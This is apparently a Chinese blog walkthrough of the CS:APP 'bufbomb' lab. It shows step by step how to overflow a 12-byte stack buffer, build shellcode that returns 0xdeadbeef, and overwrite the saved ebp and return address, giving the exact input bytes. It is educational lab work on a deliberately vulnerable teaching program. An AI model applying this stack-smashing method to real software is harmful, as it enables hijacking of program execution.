现在的位置: 首页 > 综合 > 正文

缓冲区溢出试验

2013年10月02日 ⁄ 综合 ⁄ 共 3443字 ⁄ 字号 评论关闭
 (本试验来自卡耐基梅隆大学:《深入理解计算机系统》,第三章,家庭作业3.38, 攻击目标源代码来自其网站:代码下载)
     该试验要求是:给定一个具有缓冲区漏洞的程序,要求学生利用缓冲区溢出原理,通过输入未经检查长度的字符串,使程序按照攻击者的意愿执行。(书中要求返回0xdeadbeef。)这个试验设计的非常恰到好处,包括了:使用gcc,gdb和反汇编器,编写二进制攻击代码(shellcode)的基本原理,分析汇编代码等等基础知识。虽然本试验不能形成一个真正意义上的”有破坏”或者能提高权限的攻击,但是却已经包括了缓冲区溢出攻击的方方面面。
    从CSP:APP网站上下载该代码:bufbomb.c ,我们发现下面2个我们感兴趣的函数:
/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
  int val;
  printf("Type Hex string:");
  val = getbuf();
  printf("getbuf returned 0x%x/n", val);
}
bufbomb.c

Test 函数仅仅负责调用getbuf()函数,获得返回值后打印出来。我们要做的就是改变程序的执行流,插入我们想要执行的指令,并悄无声息的返回到前端调用中。首先,观察到getbuf()函数无论如何都返回1,我们知道C中处理返回值是把整数或者指针等值放在 eax 中。所以,getbuf代码中必然有 movl $0x1,%eax 这样的指令。由于代码指令是在程序的文本段中我们无法修改,所以我们能做的,就是改变程序的执行流,并执行指令:movl $0xdeadbeef,%eax 然后安全的返回这个值到调用方。
   缓冲区溢出的本质是由于语言运行时不进行数组或输入的边界检查,(如C语言),而IA32采用“数据栈”来维护函数的调用关系,并且栈的生长方向和地址生长方向相反,这样,不经检查的数组会覆盖原先栈的内容,从而导致溢出。与其说这是语言的疏忽,倒不如说这是CPU设计体系架构的必然。一个经典的函数栈帧包括如下内容:函数参数,返回地址,原先的ebp,函数的局部变量和esp。如下图所示:

栈底(高地址)
 参数n…
 参数1
 ret
 ebp
 局部变量
 esp
 栈顶(低地址)

指令通过ebp 的偏移来灵活访问实参和局部变量。对于getbuf来说,只有一个12个字节的缓冲区。然而getxs()函数并不对输入长度进行检查,这就构成了一个典型的缓冲区溢出漏洞。首先把该代码编译成可执行文件。通过gdb,我们可以看到,getbuf 函数的汇编代码:(这里为了方便复制,把代码编译成目标文件后再用 objdump 反汇编,或者直接用gcc的-S选项)
000000c6 <_getbuf>:
  c6:    55                       push   %ebp
  c7:    89 e5                    mov    %esp,%ebp
  c9:    83 ec 28                 sub    $0x28,%esp
  cc:    8d 45 e8                 lea    0xffffffe8(%ebp),%eax
  cf:    89 04 24                 mov    %eax,(%esp)
  d2:    e8 29 ff ff ff           call   0 <_getxs>
  d7:    b8 01 00 00 00           mov    $0x1,%eax
  dc:    c9                       leave 
  dd:    c3                       ret  
只有24个字节!由于没有进行链接,所以看到都是相对地址。但不影响实质的分析。首先,分配了0x28=40个字节的空间,然后加载ebp偏移-24个字节的地址,说明实际上gcc为buf数组分配了24个字节的空间。好了,到这里我们需要构造一个至少24个字节的输入才能到达ebp(数组向上生长)。为了覆盖ebp和ret ,必须提供额外的8个字节,那么总共需要0x20=32个字节的输入。
    为了让代码流执行到我们的指令中,必须覆盖栈上的ret,使ret为我们的指令所在地址,这样当执行到指令ret的时候,就会弹出我们的ret地址,并跳转到这个指令继续执行。为了能让调用方能正常运行,我们还必须知道正常的ebp,因为覆盖ret之前必须要覆盖ebp,这里只要正常的数值就行。可以用gdb获得。剩下的问题就是,我们在哪里放置我们的指令?以及怎样把指令表示为机器能执行的格式?在这里,我们只有一个24字节的输入缓冲区,那么,我们只能在这24字节中进行编程。IA32只能识别纯的机器码,我们需要把指令编码成机器码。我们的指令很简单,大概实现如下:
movl $0xdeadbeef,%eax
jmp 0x123456
然后用gcc编译成.o目标文件,再用objdump 查看之,就可得该指令的二进制表达格式了。
注意到这里的jmp指令使用相对寻址,故无法确定其准确数值,我们只知道是 ba**+* ,其中base为某个相对数值。和缓冲区空间分配以及jmp前的指令有关,为此,我们采用一个试验性数据。因为movl指令是不会变的,后面再从gdb中获取准确值。按照前面的步骤,我们可以获得二进制代码:
00000000 <.text>:
   0:    b8 ef be ad de           mov    $0xdeadbeef,%eax
   5:    e9 5c 34 12 00           jmp    123456 <.text+0x123456>
   a:    90                       nop
nop指令可以省略,这样,我们就得到一个10字节的输入:b8 ef be ad de e9 5c 34 12 00
使用gdb,在getbuf设置好断点后,启动程序,可以用x/x $ebp 获取到ebp的值为:0x22efd8
ebp上4个字节是ret地址,也就是test函数call _getbuf 指令后下一条指令的地址,这是我们需要覆盖并且要jmp的,用x/2x $ebp,可以得到实际上ret是0x4013b7。反汇编test可以验证这一点。还剩下就是最后必须要覆盖的ret值了,我们把二进制shellcode放在输入缓冲区0偏移处,也就是直接输入shellcode,后面补0。那么,这个地址实际就是24字节的缓冲区首地址。lea    0xffffffe8(%ebp),%eax 可以看到。使用 p/x $eax 或者直接计算,都可得到,该地址是:0x22efb0。至此,必要的数据都已经获得,下面来确定jmp偏移量。
    继续程序,输入字节 b8 ef be ad de e9 5c 34 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef 22 00 b0 ef 22 00  注意IA32是little-endian 机器,所以输入地址顺序要和手写顺序相反。这里需要在<_getbuf+17>:    leave处设置断点。使用 x/2i 0x22efb0 可以查看到我们刚才输入指令的汇编代码:
mov $0xdeadbeef,$eax
jmp 0x352416
这里,jmp操作数已经加上了一个偏移量,我们可以计算它:0x352416-0x123456=0x22efc0
那么,我们在shellcode 中应该使用的实际操作数是:0x4013b7-0x22efc0=0x1d23f7
这样,重新编写并编译汇编码,我们可以获得新的shellcode:
   0:    b8 ef be ad de           mov    $0xdeadbeef,%eax
   5:    e9 fd 23 1d 00           jmp    1d2407 <.text+0x1d2407>
开启程序,输入字节:b8 ef be ad de e9 fd 23 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef 22 00 b0 ef 22 00好了。成功了!这次并没有打印本应该返回的1,也没有由于“段错误”而导致程序崩溃,而是顺利的执行了我们的代码并安全的回到前台,前台在毫不知情的的情况下打印出了:
getbuf returned: 0xdeadbeef    
至此,一次完整的缓冲区溢出攻击试验完毕~!  

抱歉!评论已关闭.